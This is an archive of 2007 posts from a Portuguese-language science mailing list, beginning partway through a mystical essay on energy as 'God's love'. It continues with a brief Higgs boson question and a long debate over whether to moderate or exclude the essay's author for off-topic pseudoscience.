> fogo, ouvi-lo numa musica. Som, luz, calor são alguns
> exemplos de como podemos constantemente detectar,
> decodificar e deduzir deus através da sua constante
> manifestação.
>
> A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.
>
> Já aconteceu de você estar no cinema e, de repente,
> acabar a energia? O que aconteceu com cada uma das
> formas cinematográficas que estavam se manifestando na
> tela? Todas desapareceram simultaneamente, não foi?
> Quando falta eletricidade num parque de diversões, o
> que acontece? Todos os brinquedos param
> simultaneamente, não é? Analogamente, a manifestação
> de deus é a força responsável por transformar
> (atualizar) todas as formas do conteúdo universal.
> Desligada a manifestação universal cessariam
> simultaneamente todas as formas e transformações
> (evolução). O universo seria apenas um conteúdo
> inerte, assim como um mar sem ondas ou um filme sem
> projeção. Popularmente chamamos a manifestação
> universal de energia. Sendo assim, cabe aqui e agora
> outra definição: o que é energia?
>
> ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
> UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
> ETERNIDADE. É O AMOR DE DEUS.
>
> Energia é a força que nunca seca. É o amor de deus, ou
> como diz a semantica cristã: é o sangue de cristo que
> é (constantemente) derramado por nós. Ou seja, energia
> universal é o que mantém funcionando o eterno processo
> de transformação das formas (evolução). É a força
> eterna que mantém os brinquedos (formas) do parque de
> diversões (cérebro de deus) em funcionamento
> constante.
>
> No principio era "o" verbo, diz a semantica cristã. O
> que isto significa? Significa que o amor de deus é "o"
> verbo, causa de todos os outros verbos. Ou seja, é a
> continua manifestação de deus que faz o universo se
> conjugar no presente contínuo. Pense nas quatro forças
> que a fisica teoriza: eletricidade, magnetismo, força
> fraca e forte. Como essas quatro forças poderiam
> existir sem a manifestação universal? Não poderiam. As
> quatro forças que a ciência teoriza é o amor de deus
> visto por quatro teorias diferentes.
>
> O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.
>
> Imagine que você é um açougueiro que precisa moer um
> quilo de carne de vaca, porém, como a tomada na parede
> do seu açougue é vegetariana, ela se recusa a lhe
> fornecer energia. Situação absurda, não é? Mas este
> exemplo serve para nos mostrar que a energia universal
> (amor de deus) tem uma característica fundamental:
>
> A ENERGIA UNIVERSAL É UMA FORÇA CEGA.
>
> Assim como a companhia elétrica fornece eletricidade
> independente do uso que o usuário irá fazer da
> eletricidade, assim o ser universal (deus) também
> fornece seu amor para todos os seres criarem e
> alimentarem o comportamento que bem entenderem. A
> energia universal é cega para o uso que os seres fazem
> dela. Ou seja, podemos usar a energia universal tanto
> para amar o próximo como para odiá-los. Podemos usar a
> energia universal tanto para criar espaçonaves como
> bombas atômicas. Podemos usar a energia universal
> tanto para tomar banho quente de chuveiro como para
> matar pessoas eletrocutadas.
>
> O AMOR DE DEUS SEMPRE APÓIA TODOS OS SERES EM QUALQUER
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SUBJECT: Boson de Higgs
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 15:11

Alguma caridosa alma poderia me explicar o que é o Boson de Higgs e
qual a importância de se gastar centenas de milhões de dólares para
evidencia-lo?
O que tal experimento revelaria? E se tal partícula não aparecer?

Inté+
Mauro



SUBJECT: Re: Boson de Higgs
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 15:52

--- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@...> escreveu
> Alguma caridosa alma poderia me explicar o que é o Boson de Higgs e
> qual a importância de se gastar centenas de milhões de dólares para
> evidencia-lo?
> O que tal experimento revelaria? E se tal partícula não aparecer?

O bóson de Higgs seria uma partícula q, entre outras coisas, poderia
explicar porq as demais partículas possuem a massa q possuem e não
outra diferente.

É uma partícula prevista pelo modelo padrão e a única q ainda não foi
detetada.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Boson de Higgs
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 16:51

O bóson de Higgs seria uma partícula q, entre outras coisas, poderia
explicar porq as demais partículas possuem a massa q possuem e não
outra diferente.

Como?

Inté+
Mauro



SUBJECT: Re: [ciencialist] Re: Boson de Higgs
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 17:04

Mauro:
As "centenas de milhões de dólares" ´r para a construção do maior acelerador de partículas do mundo, o segundo, e que permite o craqueamento de particulas conforme os interesses dos cientistas. o funcionamento do CERN possivelmente trará novas e importantes soluções para problemas da física.
O dinheiro é da comunidade européia: não tem dinheiro do Brasil que foi desviado para o acelerador de mensaleiros e sanguesugas.

sds.,

silvio.
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, April 03, 2007 3:52 PM
Subject: [ciencialist] Re: Boson de Higgs


--- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@...> escreveu
> Alguma caridosa alma poderia me explicar o que é o Boson de Higgs e
> qual a importância de se gastar centenas de milhões de dólares para
> evidencia-lo?
> O que tal experimento revelaria? E se tal partícula não aparecer?

O bóson de Higgs seria uma partícula q, entre outras coisas, poderia
explicar porq as demais partículas possuem a massa q possuem e não
outra diferente.

É uma partícula prevista pelo modelo padrão e a única q ainda não foi
detetada.

[]s,

Roberto Takata






------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Boson de Higgs
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 17:34

Roberto Takata
> O bóson de Higgs seria uma partícula q, entre outras coisas, poderia
> explicar porq as demais partículas possuem a massa q possuem e não
> outra diferente.

Mauro
> Como?

http://www.if.ufrgs.br/gfpae/seminarios2006/GGSilveira_Sem_01.pdf

(Boa leitura.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 17:38

Chicão diz:
"Não concordo com a exclusão nem com a moderação."
[...]
"Se a questão é definir o que é ciência e portanto o
que se deve discutir nessa lista, aí voltamos a velha
e interminável discussão do que seja ciência. Nesse
caso, acho que não será muito produtivo. Melhor mesmo
é deixar ele falar."

Com a primeira premissa discordo; opto pela *exclusão* antecipada pela moderação (já em vigor). Comentarei a segunda a justificar minha opção acima.

A C-List opta, com certa mobilidade nos contornos, pela Hard-Ciência ou, em jargão de vestibulares, Ciências Exatas. Nessa Hard-Ciência conceitua-se "existência", "realidade" como a qualidade do que existe, do que é *real*. O termo encontra duas acepções:

(a) Em geral entende-se por real (concreto, tangível), o oposto de ideal (abstrato, pensado).
(b) Em ciência experimental (o lastro da Hard-Ciência) entende-se por real tudo o que é concreto e também, no mundo das idéias, tudo o que é útil.

Sendo didático, num laboratório de física os aparelhos são concretos (dinamômetro, pilha, calorímetro etc.), ao passo que os entes físicos, mediante os quais se descrevem os processos físicos, são abstratos (comprimento, tempo, massa, força, energia, rendimento etc.). Uma vez que estes entes, embora abstratos, são úteis para descrever, classificar, prever manifestações tangíveis da matéria, eles são ditos reais.
Em Física (Hard-Ciência) só se admitem *entes abstratos* que sejam *reais*, e para isso eles devem exibir duas características imprescindíveis: significado físico e, possibilidade de medição.

Entes abstratos *inúteis para a ciência* são considerados *irreais*; tais são, por exemplo, as "esferas de cristal" de Aristóteles, os "miasmas" da Idade Media, o "éter universal" do século 19.
Concepções com *realidade duvidosa* precisam ser marginalizadas enquanto não evoluírem para conceitos de comprovada utilidade; é exemplo a "percepção extra-sensorial - PES", que esta sendo investigada. Há dezenas de outros exemplos de concepções com realidade duvidosa em situações piores que a PES, são as denominadas *pseudociências*.

Além disso, boa ciência não se faz com terminologia relaxada e raciocínio malconexo. Esse é o segundo fator que me faz optar pela 'exclusão'.

O terceiro fator que me leva a optar pela medida exposta acima relaciona-se, dentro da Hard-Ciência, ao *conhecimento*, fator omisso nas 'elucubrações ferrarianas'. Sejamos rigoroso:

Conhecimento é conjunto das relações conscientes entre idéias e os respectivos objetos (sejam eles concretos ou abstratos), formuladas mediante juízos subordinados à lógica. O conhecimento pode ser vulgar ou cientifico.
Conhecimento vulgar é individual; compõe-se de percepções, de imagens e de recordações. É através dos sentidos que nos pomos em contato com o mundo físico; do conhecimento vulgar assim adquirido é que, por elaboração mental devidamente lastreada, surge o conhecimento cientifico.
Conhecimento científico é aquele que através de investigação metódica, escrupulosa e rigorosa, suprime tudo o que há de individual e particular no conhecimento vulgar; recolhe os elementos comuns a uns tantos intelectos e que poderiam ser comuns a todos os intelectos. É fato objetivo e sociológico; conhecimento coletivo, obra humana, social. Resulta de constatar fatos e raciocinar sobre eles visando à descoberta de relações invariáveis entre eles (leis da natureza).

Vc viu, leu, percebeu algum fundo de conhecimento (mesmo vulgar), de conceito de real, de Hard-Ciência nos 'textos ferrarianos'?

Assim, justificando minha tomada de posição, opto pela 'exclusão', não como um ato de rebeldia contra a pessoa "Ferrari" e sim a favor dos 'postulados da C-List'.

aquele amplexo,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================
-----Mensagem Original-----
De: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 3 de abril de 2007 13:36
Assunto: Re: [ciencialist] PEDIDO DE EXCLUSAO


Não concordo com a exclusão nem com a moderação.
Ele tem todo o direito de expor suas idéias. Se vocês
não querem discutir com ele, tudo bem mas tolhe-lo no
seu direito é demais. Ele não ofendeu ninguem e quando
ofendeu(takata) pediu desculpas. Eu mesmo já venho
chamando a atenção dele faz tempo para que ele seja
mais objetivo. Além do mais, quando notei que ele
estava sendo "ad-hoc" excessivamente simplesmente não
continuei a discussão. Fica aqui meu protesto quanto a
moderação.
Se a questão é definir o que é ciência e portanto o
que se deve discutir nessa lista, aí voltamos a velha
e interminável discussão do que seja ciência. Nesse
caso, acho que não será muito produtivo. Melhor mesmo
é deixar ele falar.

--- Luis Brudna <luisbrudna@gmail.com> escreveu:

> Nao tenho opiniao pronta e resposta magica para
> este tipo de situacao.
>
> Acho mais sensato por em moderacao (o que jah foi
> feito) e aguardar
> os proximos capitulos.
>
> Ateh
> Luis Brudna - administrador
>



SUBJECT: Re: PEDIDO DE EXCLUSAO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 18:53

Oi Léo e lista,

Não defendo a exclusão do Ferrari pelos seguintes motivos:

Primeiro, porque não tenho moral. De vez em quando, meio que
involuntariamente, envio para a lista uma mensagem
hipersupertritroll. Tanto que, em PVT (e profundamente arrependido),
já pedi ao proprietário da lista que os meus e-mails fossem moderados
por um certo tempo. Não foi, Brudna?

Segundo, porque há um outro meio de reduzir os estragos (se é que os
há). A moderação. Não do próprio Ferrari, mas de quem lhe dá corda. O
Homero, por exemplo. Dica aos moderadores: sempre que o Homero enviar
uma daquelas respostas que começam mais ou menos assim: "sei que não
adianta discutir com vc, mas mesmo assim...", ato contínuo o Oráculo
fica sob moderação por dois dias.

Abraços,
Manuel Bulcão





SUBJECT: P/ Manuel - Re: PEDIDO DE EXCLUSAO
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 21:29

Olá Manuel

Putz, Manuel, que cruel..:-) Mas se for pelo bem da lista, concordo plenamente..:-) Se eu mesmo seguisse minha orientação, não alimentar os trolls, penso que uma boa parte do problema seria resolvido..:-)

Um abraço.

Homero



----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, April 03, 2007 6:53 PM
Subject: [ciencialist] Re: PEDIDO DE EXCLUSAO


Oi Léo e lista,

Não defendo a exclusão do Ferrari pelos seguintes motivos:

Primeiro, porque não tenho moral. De vez em quando, meio que
involuntariamente, envio para a lista uma mensagem
hipersupertritroll. Tanto que, em PVT (e profundamente arrependido),
já pedi ao proprietário da lista que os meus e-mails fossem moderados
por um certo tempo. Não foi, Brudna?

Segundo, porque há um outro meio de reduzir os estragos (se é que os
há). A moderação. Não do próprio Ferrari, mas de quem lhe dá corda. O
Homero, por exemplo. Dica aos moderadores: sempre que o Homero enviar
uma daquelas respostas que começam mais ou menos assim: "sei que não
adianta discutir com vc, mas mesmo assim...", ato contínuo o Oráculo
fica sob moderação por dois dias.

Abraços,
Manuel Bulcão





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 22:21

Caro Ricardo, ter uma visão "mais livre da realidade" é não se ater ao que
já foi descoberto e comprovado cientificamente. Se Einstein só aprendesse o
que já existia em ciências não teria pensado as Teorias da Relatividade.

Ferrari mostra um modo corajoso de pensar sem viseiras, sem medo de errar ou
de ser ridicularizado, como Darwin foi. Creio que isso é o melhor que se
pode fazer à juventude: instigar os jovens a pensar o mundo sem barreiras
estéticas-acadêmicas.

O poeta Sheldon Vanauken é citado por Francis S. Collins em seu livro A
Linguagem de Deus, lançado no Brasil recentemente pela editora Gente*, do
qual transcrevo o texto abaixo:

"O poema descrevia com precisão o meu dilema. Suas linhas finais diziam:
[ Entre o provável e o provado existem hiatos

Uma fenda. Com medo de saltar, permanecemos ridículos.

Então vemos atrás de nós o chão afundar e, pior,

Nosso ponto de vista esfacelar-se. O desespero desponta

Nossa única esperança: saltar para o Verbo

Que abre o universo fechado. ] "



Francis S. Collins é diretor do Instituto Nacional de Pesquisas sobre o
Genoma Humano dos EUA, responsável pelas pesquisas que revelaram a seqüência
do DNA da nossa espécie. Ex-ateu, convertido aos 27 anos, o cientista não
chega a "provar" a existência de Deus, mas garante: "a Ciência não deve se
sentir ameaçada por Deus, mas sim reforçada. E Deus certamente não está
ameaçado pela Ciência; foi Ele quem tornou tudo isso possível".



Visão mais livre da realidade é abrir os olhos para ver o que se passa ao
nosso redor e ir além. Voltaire sacou o famoso "penso, logo existo" e todo
mundo ficou estupefato... Chega o nosso Millor Fernandes e vai além: penso
por que, como existo? Se alguém da lista viesse com uma idéia de uma caixa
fechada que tem um gato que não sabemos se está morto ou vivo... Se
apresentasse uma descrição didática de um homem que se mantém no ar se
suspendendo pelos cadarços de suas botas...



Abraços



José Renato

* < http://www.editoragente.com.br/ >

.............................................

----- Original Message -----
From: "Ricardo" <ricardos@infolink.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 03, 2007 12:09 AM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


> Olá José Renato! Os listeiros estão tentando, todo o tempo, trazer a
> discussão para o campo da ciência (por isso a constante interação), mas o
> Ferrari insiste em uma visão, como em suas próprias palavras "livre da
> realidade". Na verdade livre da ciência também. Acho que esta discussão
> pode
> e deve continuar (e pode gerar muitos frutos, certamente) em algum outro
> lugar mais apropriado. Não tem nada a ver com ser ou não nobre, mas sim
> com
> ser ou não objetivo. É para isso que são criadas listas por tema:
> objetividade.
>
> []s Ricardo
>
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 02, 2007 11:46 PM
> Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO
>
>
>> Olá, Luiz! O Ferrari está dialogando com os listeiros porque os listeiros
>> estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
>> listeiro responderia ou tentaria contra argumentar. Ele tem uma visão
>> mais
>> livre da realidade, diferente das mesmices dos livros didáticos impostos
>> aos nossos estudantes. Não acredito que a exclusão proposta por vc vá
>> melhorar a objetividade dos listeiros que interagem intensamente com ele
>> e - como não conseguem impor seus argumentos científicos - ficam
>> reclamando que ele não diz coisa com coisa, que a lista não tem mais
>> ciência e outras desculpas que sirvam de motivo para moderá-lo ou
>> excluí-lo da lista. Isso não me parece ser uma atitude nobre.
>> Nem científica.
>> []s
>> José Renato
>> .............................................
>>
>> ----- Original Message -----
>> From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, April 02, 2007 5:56 PM
>> Subject: [ciencialist] PEDIDO DE EXCLUSAO
>>
>>
>> Senhores do C-List,
>>
>> com base nas papagaiadas dessa mensagem (adicionada às dezenas de
>> anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
>> muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
>> exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
>> recomendação" para outras listas que estejam dispostas a lerem suas
>> 'profundas manifestações filosóficas'.
>>
>> Já tenho até receio de falar em Ciência nessa lista!
>>
>> No aguardo,
>>
>> aquele abraço,
>> ===========================
>> Luiz Ferraz Netto [Léo]
>> leobarretos@uol.com.br
>> http://www.feiradeciencias.com.br/doacoes.asp
>> ===========================
....................................................

>> -----Mensagem Original-----
>> De: "Ferrari" <emailferrari@yahoo.com.br>
>> Para: <ciencialist@yahoogrupos.com.br>
>> Enviada em: segunda-feira, 2 de abril de 2007 14:00
>> Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?
>>
>>
>> Olá Murilo Anderson!
>>
>> Murilo >>> Acho bom a gente ter cuidado, pq já
>> brigamos antes e meu tempo é curto.
>>
>> --- Mr. Anderson, tá com pressa de chegar a onde?
>> Hehehehe... Relaxa: qualquer lugar que vc chegar será
>> apenas um lugar qualquer.

(apaguei o restante)



SUBJECT: RE: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 22:23

Lista, oi.
Modestamente, considero-me um cara calejadaço! Sim, calejadaço acima da
média.
Nunca fui barnabé de qualquer espécie, nunca dei aula por causa dos 90 dias
de féreas, nunca segurei a onda só pq faltam só mais 15 anos p/a
aposentadoria.
Só ralei e ainda ralo bem mais do que vcs possam imaginar p/um coroa que
ainda tem 63 anos.
Minha cicatrizes possuem muitas cicatrizes...
Intimamente, até chego a me considerar um ''filósofo prático'', coisa que
nem tentarei definir.
Então me permito-me dar-lhes um pequeno conselho: TOLERÂNCIA perante a
diversidade, já que ela parece ( eu disse *parece*, para não discutir) ser
uma lei universal.
Não adianta ficarem os chaves da lista masturbando uns aos outros e se
aplaudindo.
Há que haver o antagônico, a controvérsia, o outro lado, a dicotomia, a
outra polaridade.
A tolerância não é demais p/quem é seguro em suas convicções e não tem medo
de se corromper, se influenciar, ou se poluir.
É só isso!
Caso vcs optem por excluir ao Ferrari, empobrecendo a controvérsia na lista,
queiram, por gentileza, excluírem também a minha pessoa.
Obrigado, sds. Murilo SP 03/abril07


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: [ciencialist] PEDIDO DE EXCLUSAO
>Date: Mon, 2 Apr 2007 17:56:20 -0300
>
>Senhores do C-List,
>
>com base nas papagaiadas dessa mensagem (adicionada às dezenas de
>anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
>muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
>exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
>recomendação" para outras listas que estejam dispostas a lerem suas
>'profundas manifestações filosóficas'.
>
>Já tenho até receio de falar em Ciência nessa lista!
>
>No aguardo,
>
>aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "Ferrari" <emailferrari@yahoo.com.br>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: segunda-feira, 2 de abril de 2007 14:00
>Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?
>
>
>Olá Murilo Anderson!
>
>Murilo >>> Acho bom a gente ter cuidado, pq já
>brigamos antes e meu tempo é curto.
>
>--- Mr. Anderson, tá com pressa de chegar a onde?
>Hehehehe... Relaxa: qualquer lugar que vc chegar será
>apenas um lugar qualquer.
>
>Murilo >>> Eu posso sim decidir não exercitar minha
>dialética.
>
>--- Sim, isto é o que o Mr. Anderson pensa.
>
>Murilo >>> Há que existir um mínimo de base filosófica
>p/esse tipo de papo, vc sabe.
>
>--- Não é base filosofica, é consciencial.
>
>Murilo >>> "Livre arbítrio" existe sim, vc não poderá
>negar.
>
>--- Mr. Anderson, não estou dizendo que não existe o
>processo do livre-arbítrio. Sim, existe. O que estou
>dizendo é que não existe o processo do livre-arbítrio
>tal qual os espíritas, os católicos, e até mesmo os
>ateus o compreendem e definem. Ou seja, não existe
>livre-arbítrio na ação. O livre-arbítrio é um processo
>do espírito (consciencia) e não dá mente (cérebro).
>
>Murilo >>> A metáfora do Orlando se deve às diferenças
>entre os mundos dos interlocutores.
>
>--- Hehehehehe... Já ouviu o termo "loucura
>controlada". Foi o carlos castanheda que invetou. Me
>sinto assim, controlado entre uma loucura e outra.
>
>--- Observe isto aqui: O dificil não é ser louco. Ser
>louco é fácil, é natural, o dificil é ser normal.
>Abrimos a mão e a pedra cai. Não é preciso esforço
>para ser natural, só é preciso esforço para ser
>cultural.
>
>Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
>está faltando em minha vida.
>
>--- Já tentou um acordo com a Agente Smith? O Cifer
>consegiu uma fazenda no Arizona que é uma beleza.
>
>Murilo >>> Que eternidade é esta que não tarda nem
>falha?
>
>--- Alguma vez vc já testemunhou uma dia que não
>trouxesse uma noite? Ou uma noite que não trouxesse um
>dia? Alguma vez vc já testemunhou uma hora que não
>tivesse 60 minutos? Um minuto que não tivesse 60
>seguntos, e assim por diante...
>
>--- Eis ai a eternidade que não tarda nem falha.
>
>
>a woman with red dress pra vc
>abç. ferrari
>
>
>
>
>
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
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>
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>Version: 7.5.446 / Virus Database: 268.18.24/742 - Release Date: 01/04/2007
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SUBJECT: Re: [ciencialist] Sobre banimento e moderação (era A Força que Nunca Seca ::: (sobre onipotência)
FROM: "jussara ghama" <jussaraagama@ig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 00:00

que isso ?O grupo está acabando? amorosa e compassivamente resolvam suas diferenças.Este é o grande segredo da vida , administrar as diferenças.
----- Original Message -----
From: Oraculo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, April 03, 2007 2:37 PM
Subject: [ciencialist] Sobre banimento e moderação (era A Força que Nunca Seca ::: (sobre onipotência)


Olá pessoal

Minha posição, nas mensagens anteriores, sempre se referiram as mensagens, não ao próprio Ferrari. Talvez não tenha ficado claro, mas a proposta era evitar as mensagens mais malucas e do tipo "flood" e spam, não necessariamente expulsar ninguém.

A mensagem inicial, inclusive, falava em deletar os absurdos, não em banir pessoas. O foco de toda discussão é que deve se manter na ciência, pois é uma lista destinada a isso. Nada contra falar sobre um novo filme que se gostou, ou sobre uma nova receita, mas a insistência em um desses assuntos, tomando dezenas de mensagens, sem se preocupar em voltar ao foco básico da lista, é desagradável, contraprodutiva, e espanta novos usuários.

Além disso, existindo centenas, milhares de listas dispostas a viagens da imaginação, poesia, esoterismos diversos, que adorariam estas mensagens, envia-las recorrentemente a Ciencia list é mais uma provocação do que um debate. Seria o mesmo que entrar em uma lista católica para enviar textos violentamente anticlericais só de gozação.

Não que não se possa criticar a ciência aqui, pelo contrário, é o rigor de análise que mantém a ciência em movimento, e uma crítica bem embasada é a maior alegria desta lista..:-) Mas, é preciso que mesmo a crítica seja feita de forma coerente, lógica, racional, ou ficamos apenas com divindades malucas e alegações sem sentido.

Um abraço.

Homero

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, April 03, 2007 1:05 PM
Subject: Re: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)

Lista,

Além da sugestão que ofereci abaixo, acrescento a seguinte:
Se alguém sentir-se animado a discutir o assunto proposto, fazê-lo em pvt, diretamente com o poeta e filósofo Ferrari. Acho que ele toparia. Ou então discutiria em algum outro fórum mais competente para o mister. Pronto. Evitar-se-ia poluir mais ainda esta lista com esses assuntos, que nada têm a ver com ciência. Não se puniria, em qualquer nível, quem chama para o debate e não haveria desvios dos objetivos do Ciencialist que, diga-se de passagem, tem discutido, nos últimos tempos, coisas que nada têm de científicas, por outros participantes(eu, incluso, rezo mea culpa, mea média culpa.)

Acho que é por aí.

Sds,
Victor.

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 7:38 PM
Subject: Re: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)

...ou, simplesmente, nada responder. As respostas são a alimentação para o "fenômeno". Matar de fome, eis a solução mais simples.
Nada tenho contra discutir tal o qual baboseira, segundo meu entendimento. Que pode não ser baboseira para quem disso use. Só que este fórum não é local adequado.

Sds,
Victor.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 6:04 PM
Subject: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)

Olá Leo

Leo: "Sugiro aos demais moderadores pensarem na opção 'deletar'; têm
minha aprovação."

Eu voto a favor..:-) Nunca li tanta bobagem junta, em especial em
algo com a pretensão de ser "científico". Acho que nem o Capra e o
Goswami escreveram algo tão confuso, fora de propósito, sem sentido e
incoerente assim.

Mistura termos, confunde conceitos, cria afirmações do nada, e não
apresenta nenhuma evidência a sustentar as alegações apreentadas.
Coisas como "energia é o amor de deus" e outras "frases de impacto",
que nada significam, não podem ser verificadas ou sustentadas, só bobagem.

Não dá nem para tentar responder, tal o nível de absurdos contido no
texto.

Fala sério, frases como estas - O AMOR DE DEUS NÃO É BOM NEM RUIM: É
ENERGIA - A ENERGIA UNIVERSAL É UMA FORÇA CEGA. - não servem nem como
exemplo de coisa sem sentido, passam da conta..:-) Desagradam
religiosos, que acreditam em deuses, por ser idiota (um amor que não é
nem bom nem ruim, não é nada, não serve para nada, e não se diferencia
de NENHUM amor), e desagradam cientistas e pessoas racionais, por
serem sem sentido e absurdas.

Fica meu voto, para permitir que a lista respire de novo uma atmosfera
de racionalidade e lógica, no sentido de deletar bobagens desse calibre.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Aqui não é lista religiosa. Se analisado sob cunho científico o
texto é uma enxurrada de bobagens:
> Força é úmida (pois nunca seca)
> energia é força (então prá que duas palavras para o mesmo conceito)
> e as bobagens se amontoam.
>
> Sugiro aos demais moderadores pensarem na opção 'deletar'; têm minha
aprovação.
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@...>
> Para: <emailferrari@...>
> Enviada em: segunda-feira, 2 de abril de 2007 15:04
> Assunto: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)
>
>
> A FORÇA QUE NUNCA SECA
> http://lampadadealadim.blogspot.com
>
> (sobre onipotência)
>
> <<< por isto uma força me leva a cantar / por isto
> esta força estranha no ar / por isto é que eu canto
> não posso parar >>> (Caetano Veloso)
>
> Embora não possamos tocar deus com as mãos, ou vê-lo
> com os olhos, ou escutá-lo com os ouvidos, ele nos é
> revelado através de sua constante manifestação e da
> nossa capacidade de percepção. Assim, podemos vê-lo
> iluminando um quarto escuro, senti-lo no calor do
> fogo, ouvi-lo numa musica. Som, luz, calor são alguns
> exemplos de como podemos constantemente detectar,
> decodificar e deduzir deus através da sua constante
> manifestação.
>
> A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.
>
> Já aconteceu de você estar no cinema e, de repente,
> acabar a energia? O que aconteceu com cada uma das
> formas cinematográficas que estavam se manifestando na
> tela? Todas desapareceram simultaneamente, não foi?
> Quando falta eletricidade num parque de diversões, o
> que acontece? Todos os brinquedos param
> simultaneamente, não é? Analogamente, a manifestação
> de deus é a força responsável por transformar
> (atualizar) todas as formas do conteúdo universal.
> Desligada a manifestação universal cessariam
> simultaneamente todas as formas e transformações
> (evolução). O universo seria apenas um conteúdo
> inerte, assim como um mar sem ondas ou um filme sem
> projeção. Popularmente chamamos a manifestação
> universal de energia. Sendo assim, cabe aqui e agora
> outra definição: o que é energia?
>
> ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
> UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
> ETERNIDADE. É O AMOR DE DEUS.
>
> Energia é a força que nunca seca. É o amor de deus, ou
> como diz a semantica cristã: é o sangue de cristo que
> é (constantemente) derramado por nós. Ou seja, energia
> universal é o que mantém funcionando o eterno processo
> de transformação das formas (evolução). É a força
> eterna que mantém os brinquedos (formas) do parque de
> diversões (cérebro de deus) em funcionamento
> constante.
>
> No principio era "o" verbo, diz a semantica cristã. O
> que isto significa? Significa que o amor de deus é "o"
> verbo, causa de todos os outros verbos. Ou seja, é a
> continua manifestação de deus que faz o universo se
> conjugar no presente contínuo. Pense nas quatro forças
> que a fisica teoriza: eletricidade, magnetismo, força
> fraca e forte. Como essas quatro forças poderiam
> existir sem a manifestação universal? Não poderiam. As
> quatro forças que a ciência teoriza é o amor de deus
> visto por quatro teorias diferentes.
>
> O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.
>
> Imagine que você é um açougueiro que precisa moer um
